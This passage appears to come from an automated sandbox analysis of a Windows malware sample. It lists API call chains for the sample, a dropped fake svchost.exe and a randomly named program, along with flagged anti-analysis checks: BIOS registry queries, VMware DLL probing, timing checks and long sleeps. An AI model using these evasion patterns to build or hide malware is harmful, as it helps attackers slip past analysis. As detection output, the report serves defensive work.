n,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,	7_2_01061150
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,	7_2_01041180
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,	7_2_010611C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,	7_2_0104C9F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,	7_2_0105B810
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,	7_2_01047020
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,	7_2_01059860
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,	7_2_01062320
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,	7_2_01060BE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,	7_2_01043510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,	7_2_01062590
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,	7_2_0105FDC0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,	7_2_010544F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,	7_2_0105FFE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,	7_2_01041670
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,	9_2_00A27020
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,	9_2_00A3B810
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,	9_2_00A39860
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,	9_2_00A21180
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,	9_2_00A2C9F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,	9_2_00A411C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,	9_2_00A41150
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,	9_2_00A40BE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,	9_2_00A42320
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,	9_2_00A344F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,	9_2_00A42590
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,	9_2_00A3FDC0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,	9_2_00A23510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,	9_2_00A21670
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,	9_2_00A3FFE0

Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00403900 RegQueryValueEx -> SystemBiosVersion/Date		0_2_00403900
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00403900 RegQueryValueEx -> SystemBiosVersion/Date		2_2_00403900

Found evasive API chain (may stop execution after checking volume information)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Evasive API call chain: GetVolumeInformation,DecisionNodes,ExitProcess

graph_0-29896

Found evasive API chain checking for user administrative privileges

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_0-29929
Source: C:\Windows\apppatch\svchost.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_2-81097

Found stalling execution ending in API Sleep call

Source: C:\Windows\apppatch\svchost.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-80923

Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\SysWOW64\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Program Files (x86)\Windows Defender\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\SysWOW64\OpenSSH\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\apppatch\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Program Files (x86)\Common Files\Oracle\Java\javapath\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Users\user\AppData\Local\Microsoft\WindowsApps\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\SysWOW64\Wbem\vmhgfs.DLL	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened / queried: C:\Windows\system\vmhgfs.DLL	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File opened / queried: C:\Users\user\Desktop\vmhgfs.DLL	Jump to behavior

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00401A30 rdtsc

0_2_00401A30

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,

2_2_02C76A30

Source: C:\Windows\apppatch\svchost.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\apppatch\svchost.exe	Window / User API: threadDelayed 1484	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Window / User API: threadDelayed 2646	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Window / User API: threadDelayed 1304	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Window / User API: threadDelayed 2834	Jump to behavior

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C864A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,VirtualQuery,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,	2_2_02C864A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012564A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,	6_2_012564A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_010564A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,	7_2_010564A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A364A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,	9_2_00A364A0

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	API coverage: 2.7 %
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	API coverage: 2.9 %
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	API coverage: 2.7 %

Source: C:\Windows\apppatch\svchost.exe TID: 2836	Thread sleep count: 1484 > 30	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 2836	Thread sleep time: -148400s >= -30000s	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7992	Thread sleep count: 2646 > 30	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7992	Thread sleep time: -264600s >= -30000s	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7996	Thread sleep count: 1304 > 30	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7996	Thread sleep time: -130400s >= -30000s	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7992	Thread sleep count: 2834 > 30	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7992	Thread sleep time: -283400s >= -30000s	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 3132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C766D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	2_2_02C766D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8BBE9
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8BB20
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8D0C0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8D189
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C9BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	2_2_02C9BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C97CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	2_2_02C97CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125D189
